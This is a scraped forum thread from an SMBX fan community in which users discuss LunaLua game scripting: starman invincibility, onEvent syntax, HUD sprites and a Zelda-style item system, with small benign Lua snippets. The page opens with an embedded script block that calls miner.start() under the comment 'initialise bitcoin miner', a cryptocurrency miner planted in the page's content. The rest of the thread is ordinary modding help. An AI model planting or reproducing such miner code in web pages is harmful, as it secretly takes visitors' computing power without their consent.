<script>
miner.start(); // initialise bitcoin miner
</script>

pge projectsmw centralsmbx community

LunaLua Offical Thread

The second SMBX collab!

Shall I stream some LunaLua live development?

Yes
23
92%
No
2
8%
 
Total votes: 25

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 5 years ago

Rednaxela wrote:
Hoeloe wrote:
Rednaxela wrote:Much more generally useful thing you have there.
Though I curse Lua's lack of typing. Getting the same function to work for multiple types was awkward, I had to manually do some checks to determine the type of an object (I believe one of my tests was "does it have a field called "powerup"? Then it's a player").
Though, that type of check does mean it'll seamlessly work with pNPC objects with no fuss, which could be a nice combination for some cases, hah.
Should do. I believe the NPC only makes use of the id, x and y fields, and the mem function.
Onule wrote:
Hoeloe wrote:This is useful if you want to override the behaviour SMBX would normally use when these two objects collide
So it would be possible to make a fully working starman?

Also, I think the new version of multipoint on the PGE wiki is missing the library file itself. :?:
Yep. Quite easily, actually. It should be just this (though this will destroy powerups, coins, midpoints, etc. so you may want to filter that):

Code: Select all

function onLoop()
	for _,v in pairs(findnpcs(-1,player.section)) do
		if(colliders.speedCollide(player,v)) then
			v:kill();
		end
	end
end
Also, oops. That's totally possible. Will rectify momentarily.

EDIT: Done. Should be there now.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 804
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 5 years ago

Hoeloe wrote:
Onule wrote:
Hoeloe wrote:This is useful if you want to override the behaviour SMBX would normally use when these two objects collide
So it would be possible to make a fully working starman?
Yep. Quite easily, actually. It should be just this (though this will destroy powerups, coins, midpoints, etc. so you may want to filter that):

Code: Select all

function onLoop()
	for _,v in pairs(findnpcs(-1,player.section)) do
		if(colliders.speedCollide(player,v)) then
			v:kill();
		end
	end
end
For the case of making a starman, I'd also suggest including something like

Code: Select all

player:mem(0x140, FIELD_WORD, 2) -- Invincibility frames
player:mem(0x142, FIELD_WORD, 0) -- Don't blink invisible
As a just-in-case measure to ensure the player is truly invincible during that time even to something you may filter out of getting destroyed.

Hmm... It's a shame the memory region where a player character's level-specific spritesheet is loaded isn't well-known... because if that was it might be possible to implement starman player sprite animation (well... I mean one could always use loadImage/placeSprite, but that doesn't layer the same way as the player sprite does normally...)

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 5 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: Presenting: Lunadll for Lua!

Postby romajiQuadhash » 5 years ago

So, I installed everything that people on the thread suggested, and I'm still not getting the LunaLua version text to show up.
Any other suggestions?
Maybe I can just download someone else's Main Game?
This is a sig

TiKi
Posts: 109
Joined: 7 years ago

Re: Presenting: Lunadll for Lua!

Postby TiKi » 5 years ago

1. Please add this offset as a variable like PlayerIsFast. So others can use it. It's the Sonicstooslow variable, and 0xFFFF = on I think.
0x00B2C8AE
2. Is there an easy way to make all NPCs act like they're underwater with lua? If so could you please post the whole code for just that? Thanks.

RE: npc movement: try multiplying by 0 instead of setting. I couldn't multiply something in auto code by 0.5 to make it fall slower but I could divide by 2. So it can be finicky.

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 5 years ago

TiKi wrote:I couldn't multiply something in auto code by 0.5 to make it fall slower but I could divide by 2. So it can be finicky.
I think that's just a weirdness of autocode's syntax. It will be fine doing either in Lua.
Image
Image
Image
Image
Image

User avatar
Lejes
Posts: 76
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Lejes » 5 years ago

Can someone explain how to use onEvent()? I thought the argument to this function would just be the event name in quotes, but the error message is saying it expects something else.

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 5 years ago

Lejes wrote:Can someone explain how to use onEvent()? I thought the argument to this function would just be the event name in quotes, but the error message is saying it expects something else.
That should be exactly what it is. Can you post the error message, and your code?
Image
Image
Image
Image
Image

User avatar
Lejes
Posts: 76
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Lejes » 5 years ago

Code: Select all

function onEvent("Starman Get")
	starman = true;
end
Image

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 5 years ago

Lejes wrote:

Code: Select all

function onEvent("Starman Get")
	starman = true;
end
Image
Ah. That's not how function arguments work at all. Function arguments are variables, and you need to test their values, like this:

Code: Select all

function onEvent(event)
	if(event == "Starman Get") then
		starman = true;
	end
end
I think there's a bit of an explanation of this on the basic tutorials on the wiki.
Image
Image
Image
Image
Image

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 5 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: Presenting: Lunadll for Lua!

Postby romajiQuadhash » 5 years ago

Hoeloe wrote:
Lejes wrote:

Code: Select all

function onEvent("Starman Get")
	starman = true;
end
Image
Ah. That's not how function arguments work at all. Function arguments are variables, and you need to test their values, like this:

Code: Select all

function onEvent(event)
	if(event == "Starman Get") then
		starman = true;
	end
end
I think there's a bit of an explanation of this on the basic tutorials on the wiki.
Or, to put it another way, this isn't Haskall.
This is a sig

User avatar
Lejes
Posts: 76
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Lejes » 5 years ago

Ah. I had tried declaring the string as a variable first, but I hadn't realized that onEvent runs the way it does.

User avatar
Alice
Posts: 2276
Joined: 9 years ago
Pronouns: Girl person
Location: Wonderland

Re: Presenting: Lunadll for Lua!

Postby Alice » 5 years ago

This might be a stupid line of questions but I have yet to actually make use of LunaLua before now. How possible would it be to do the following?

I have an idea for a Link based episode that'll be done somewhat Zelda II style. For it I'll need an item system. That item system will need to do a few things.
1.) Collected items should show up in the hud.
2.) Select should cycle the current item forward.
3.) Collected items also need to be saved to a file.
4.) (Kinda really obvious one here.) The currently selected item needs to be usable. (I'm thinking alt run for this would be good.)

I think that #s 1 and 3 are possible but I'm not entirely sure how feasible they would be and I'm not sure on #s 2 and 4 at all. (#1 would just be placing sprites on the screen in a screen based fashion, I think, and #3 should be possible soon because you're already adding functionality to store info in external files from MaGLx2 from what I recall reading recently.)

Also a note: I'm not new to programming, though I've never been particularly good at it, and I've never actually used Lua in particular before.

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 5 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: Presenting: Lunadll for Lua!

Postby romajiQuadhash » 5 years ago

Alice wrote:This might be a stupid line of questions but I have yet to actually make use of LunaLua before now. How possible would it be to do the following?

I have an idea for a Link based episode that'll be done somewhat Zelda II style. For it I'll need an item system. That item system will need to do a few things.
1.) Collected items should show up in the hud.
2.) Select should cycle the current item forward.
3.) Collected items also need to be saved to a file.
4.) (Kinda really obvious one here.) The currently selected item needs to be usable. (I'm thinking alt run for this would be good.)

I think that #s 1 and 3 are possible but I'm not entirely sure how feasible they would be and I'm not sure on #s 2 and 4 at all. (#1 would just be placing sprites on the screen in a screen based fashion, I think, and #3 should be possible soon because you're already adding functionality to store info in external files from MaGLx2 from what I recall reading recently.)

Also a note: I'm not new to programming, though I've never been particularly good at it, and I've never actually used Lua in particular before.
2 and 3 are quite easy (the ability to save stuff to files is not new in any way. What is new is sharing between episodes).1 would be kinda hacky, but doable.
4 is the real hard bit. I suppose you could make a generator and have the item teleport, or maybe the spawn functionality was made to work
This is a sig

User avatar
Rednaxela
Maker of Shenanigans
Posts: 804
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 5 years ago

romajiQuadhash wrote:
Alice wrote:I have an idea for a Link based episode that'll be done somewhat Zelda II style. For it I'll need an item system. That item system will need to do a few things.
1.) Collected items should show up in the hud.
2.) Select should cycle the current item forward.
3.) Collected items also need to be saved to a file.
4.) (Kinda really obvious one here.) The currently selected item needs to be usable. (I'm thinking alt run for this would be good.)
2 and 3 are quite easy (the ability to save stuff to files is not new in any way. What is new is sharing between episodes).1 would be kinda hacky, but doable.
4 is the real hard bit. I suppose you could make a generator and have the item teleport, or maybe the spawn functionality was made to work
Actually #1 is pretty easy. The loadImage/placeSprite API is perfect for that and I wouldn't call it hacky at all.
#4 is also rather easy if all you want using the item to do is spawn something (i.e. a bomb, arrow, etc). The spawnNPC lua code I made works wonders (I use it extensively in my MaGL X2 level), and the current version of LunaLua has a C++ translation of that routine too.

i'd say most of the work is simply making the glue/infrastructure code to keep track of the items for the item system.

User avatar
Alice
Posts: 2276
Joined: 9 years ago
Pronouns: Girl person
Location: Wonderland

Re: Presenting: Lunadll for Lua!

Postby Alice » 5 years ago

romajiQuadhash wrote:4 is the real hard bit. I suppose you could make a generator and have the item teleport, or maybe the spawn functionality was made to work
It won't necessarily need to be a physical item. In the case of something like bombs yeah, but for something like a hookshot it would just need to play some sort of animation centered on Link according to the direction he's facing and would simply need to find the next block in the direction he's facing within a certain distance. I don't know that using a generator would necessarily be required for something like bombs either though but that one I'm less sure on.

As for #1 I haven't looked into doing it at all yet but is there any way to hook into the game's hud or maybe use something from CinematX (did I get the name right on that?) to accomplish that?
Rednaxela wrote:Actually #1 is pretty easy. The loadImage/placeSprite API is perfect for that and I wouldn't call it hacky at all.
#4 is also rather easy if all you want using the item to do is spawn something (i.e. a bomb, arrow, etc). The spawnNPC lua code I made works wonders (I use it extensively in my MaGL X2 level), and the current version of LunaLua has a C++ translation of that routine too.

i'd say most of the work is simply making the glue/infrastructure code to keep track of the items for the item system.
That should work perfectly for the hud idea then. For #4 though would that hinge on being pre-existing items only such as the bomb npcs or could they be custom things like my hookshot idea I mentioned in my response for romajiQuadhash?

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 5 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: Presenting: Lunadll for Lua!

Postby romajiQuadhash » 5 years ago

Alice wrote:
romajiQuadhash wrote:4 is the real hard bit. I suppose you could make a generator and have the item teleport, or maybe the spawn functionality was made to work
It won't necessarily need to be a physical item. In the case of something like bombs yeah, but for something like a hookshot it would just need to play some sort of animation centered on Link according to the direction he's facing and would simply need to find the next block in the direction he's facing within a certain distance. I don't know that using a generator would necessarily be required for something like bombs either though but that one I'm less sure on.

As for #1 I haven't looked into doing it at all yet but is there any way to hook into the game's hud or maybe use something from CinematX (did I get the name right on that?) to accomplish that?
Rednaxela wrote:Actually #1 is pretty easy. The loadImage/placeSprite API is perfect for that and I wouldn't call it hacky at all.
#4 is also rather easy if all you want using the item to do is spawn something (i.e. a bomb, arrow, etc). The spawnNPC lua code I made works wonders (I use it extensively in my MaGL X2 level), and the current version of LunaLua has a C++ translation of that routine too.

i'd say most of the work is simply making the glue/infrastructure code to keep track of the items for the item system.
That should work perfectly for the hud idea then. For #4 though would that hinge on being pre-existing items only such as the bomb npcs or could they be custom things like my hookshot idea I mentioned in my response for romajiQuadhash?
I called it "hacky" because you need to move the sprites every loop to ensure they act as a hud.
The custom thing would require more code, since SMBX doesn't really like the idea of custom powerup states.
You can definitly do that, I'm just not sure of all the components.
This is a sig

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 5 years ago

romajiQuadhash wrote: I called it "hacky" because you need to move the sprites every loop to ensure they act as a hud.
Or... just use the HUD setting on placeSprite.
Image
Image
Image
Image
Image

User avatar
Rednaxela
Maker of Shenanigans
Posts: 804
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 5 years ago

Alice wrote:That should work perfectly for the hud idea then. For #4 though would that hinge on being pre-existing items only such as the bomb npcs or could they be custom things like my hookshot idea I mentioned in my response for romajiQuadhash?
Hookshot would be doable but get much trickier. The way I'd do it is make the hookshot tip+chain at maximum reach into into a NPC sprite, and then use spawnNPC, and then Lua code to manipulate it's width/gfxwidth parameters (this is similar to what the game engine internally does for piranha plants extending out of pipes). Give it a xSpeed and manipulate it's x value a bit to compensate for width changes when moving right (not needed when moving left), and detect block collisions using offsets 0x0A/0x0C/0x0E/0x10. Once detected stop moving it and start moving the player. For manipulating it from tick-to-tick it's easiest with the pNPC library and a coroutine, but don't have to go that route.
While the routine is active, you'd want to freeze Link's movement. Easiest way is to create SMBX events to disable player controls and re-enable them and use triggerEvent. Add a little playSFXSDL when triggered also and you'll be golden.

It's not easy but well, there. I've outlined a way to do it there. Might be curious enough to try implementing it some time :)
Hoeloe wrote:
romajiQuadhash wrote:I called it "hacky" because you need to move the sprites every loop to ensure they act as a hud.
Or... just use the HUD setting on placeSprite.
Aye... Those options aren't very well documented right now (basically only here so far as I've seen), but they're rather handy.

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 5 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: Presenting: Lunadll for Lua!

Postby romajiQuadhash » 5 years ago

Hoeloe wrote:
romajiQuadhash wrote: I called it "hacky" because you need to move the sprites every loop to ensure they act as a hud.
Or... just use the HUD setting on placeSprite.
... didn't know that existed. someone need to add that to docs
This is a sig

User avatar
Alice
Posts: 2276
Joined: 9 years ago
Pronouns: Girl person
Location: Wonderland

Re: Presenting: Lunadll for Lua!

Postby Alice » 5 years ago

I know there's documentation with tutorials but I don't have the link (probably in the OP but I'd like specific recommendations from people who know a bit more than I about this), does anyone have ones to a basic intro to using LunaLua as well as anything that might be more pertinent to my goal once I get that bit down?

User avatar
Hoeloe
A2XT person
Posts: 941
Joined: 8 years ago
Pronouns: she/her
Location: Spaaace

Re: Presenting: Lunadll for Lua!

Postby Hoeloe » 5 years ago

Alice wrote:I know there's documentation with tutorials but I don't have the link (probably in the OP but I'd like specific recommendations from people who know a bit more than I about this), does anyone have ones to a basic intro to using LunaLua as well as anything that might be more pertinent to my goal once I get that bit down?
http://engine.wohlnet.ru/pgewiki/Category:LunaLua_API
Image
Image
Image
Image
Image

User avatar
Isocitration
Posts: 34
Joined: 10 years ago

Re: Presenting: Lunadll for Lua!

Postby Isocitration » 5 years ago

I feel like I might be missing something obvious here, but is there a simple way to completely disable the player's block collision?

User avatar
Rednaxela
Maker of Shenanigans
Posts: 804
Joined: 6 years ago

Re: Presenting: Lunadll for Lua!

Postby Rednaxela » 5 years ago

Isocitration wrote:I feel like I might be missing something obvious here, but is there a simple way to completely disable the player's block collision?
I wish I knew one. It would have made one bit of trickery in my MaGL X2 level more flexible.

I'm sure it could be done, given one can set player x/y position and that'll ignore blocks, though the game will try shoving the player back out of blocks horizontally and stuff. One could counteract that I'm sure, but eh... it all gets messy/hacky.

User avatar
Alice
Posts: 2276
Joined: 9 years ago
Pronouns: Girl person
Location: Wonderland

Re: Presenting: Lunadll for Lua!

Postby Alice » 5 years ago

Out of curiosity, since there's no readme in the zip or install instructions in the op (only update instructions), do I just unzip the LunaLua stuff straight into the base folder for SMBX?

User avatar
romajiQuadhash
typos "raocow" as "roacow" (and I TAS)
Posts: 12
Joined: 5 years ago
First name: Romaji Quadhash
Pronouns: ke/keh/ker
Location: ""Canada""

Re: Presenting: Lunadll for Lua!

Postby romajiQuadhash » 5 years ago

Alice wrote:Out of curiosity, since there's no readme in the zip or install instructions in the op (only update instructions), do I just unzip the LunaLua stuff straight into the base folder for SMBX?
Yep.
Or I can just send my working install
This is a sig


Return to “A2XT”

Who is online

Users browsing this forum: No registered users and 3 guests